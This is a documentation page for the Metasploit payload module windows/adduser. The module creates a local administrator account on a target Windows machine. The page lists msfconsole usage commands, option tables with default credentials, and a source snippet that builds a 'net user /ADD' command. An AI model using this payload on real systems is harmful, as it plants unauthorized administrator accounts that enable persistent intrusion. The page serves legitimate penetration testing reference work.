Windows Execute net user /ADD - Metasploit


This page contains detailed information about how to use the payload/windows/adduser metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
hide

Module Overview

Name: Windows Execute net user /ADD
Module: payload/windows/adduser
Source code: modules/payloads/singles/windows/adduser.rb
Disclosure date: -
Last modification time: 2020-09-22 02:56:51 +0000
Supported architecture(s): x86
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

Create a new user and add them to local administration group. Note: The specified password is checked for common complexity requirements to prevent the target machine rejecting the user for failing to meet policy requirements. Complexity check: 8-14 chars (1 UPPER, 1 lower, 1 digit/special)

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

msf > use payload/windows/adduser
msf payload(adduser) > show options
    ... show and set options ...
msf payload(adduser) > generate

To learn how to generate payload/windows/adduser with msfvenom, please read this.

Go back to menu.

Msfconsole Usage

Here is how the windows/adduser payload looks in the msfconsole:

msf6 > use payload/windows/adduser

msf6 payload(windows/adduser) > show info

       Name: Windows Execute net user /ADD
     Module: payload/windows/adduser
   Platform: Windows
       Arch: x86
Needs Admin: Yes
 Total size: 282
       Rank: Normal

Provided by:
  hdm <[email protected]>
  Chris John Riley
  vlad902 <[email protected]>
  sf <[email protected]>

Basic options:
Name      Current Setting  Required  Description
----      ---------------  --------  -----------
CUSTOM                     no        Custom group name to be used instead of default
EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
PASS      Metasploit$1     yes       The password for this user
USER      metasploit       yes       The username to create
WMIC      false            yes       Use WMIC on the target to resolve administrators group

Description:
  Create a new user and add them to local administration group. Note: 
  The specified password is checked for common complexity requirements 
  to prevent the target machine rejecting the user for failing to meet 
  policy requirements. Complexity check: 8-14 chars (1 UPPER, 1 lower, 
  1 digit/special)

Module Options

This is a complete list of options available in the windows/adduser payload:

msf6 payload(windows/adduser) > show options

Module options (payload/windows/adduser):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   CUSTOM                     no        Custom group name to be used instead of default
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   PASS      Metasploit$1     yes       The password for this user
   USER      metasploit       yes       The username to create
   WMIC      false            yes       Use WMIC on the target to resolve administrators group

Advanced Options

Here is a complete list of advanced options supported by the windows/adduser payload:

msf6 payload(windows/adduser) > show advanced

Module advanced options (payload/windows/adduser):

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   COMPLEXITY          true             yes       Check password for complexity rules
   PrependMigrate      false            yes       Spawns and runs shellcode in new process
   PrependMigrateProc                   no        Process to spawn and run shellcode in
   VERBOSE             false            no        Enable detailed status messages
   WORKSPACE                            no        Specify the workspace for this module

Go back to menu.

Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Password for the adduser payload must be 14 characters or less

Here is a relevant code snippet related to the "Password for the adduser payload must be 14 characters or less" error message:

60:	    cust = datastore['CUSTOM'] || ''
61:	    wmic = datastore['WMIC']
62:	    complexity= datastore['COMPLEXITY']
63:	
64:	    if(pass.length > 14)
65:	      raise ArgumentError, "Password for the adduser payload must be 14 characters or less"
66:	    end
67:	
68:	    if complexity and pass !~ /\A^.*((?=.{8,})(?=.*[a-z])(?=.*[A-Z])(?=.*[\d\W])).*$/
69:	      raise ArgumentError, "Password: #{pass} doesn't meet complexity requirements and may cause issues"
70:	    end

Password: <PASS> doesn't meet complexity requirements and may cause issues

Here is a relevant code snippet related to the "Password: <PASS> doesn't meet complexity requirements and may cause issues" error message:

64:	    if(pass.length > 14)
65:	      raise ArgumentError, "Password for the adduser payload must be 14 characters or less"
66:	    end
67:	
68:	    if complexity and pass !~ /\A^.*((?=.{8,})(?=.*[a-z])(?=.*[A-Z])(?=.*[\d\W])).*$/
69:	      raise ArgumentError, "Password: #{pass} doesn't meet complexity requirements and may cause issues"
70:	    end
71:	
72:	    if not cust.empty?
73:	      print_status("Using custom group name #{cust}")
74:	      return "cmd.exe /c net user #{user} #{pass} /ADD && " +

Go back to menu.

Go back to menu.

See Also

Check also the following modules related to this module:

Authors

  • hdm
  • Chris John Riley
  • vlad902
  • sf

Version

This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.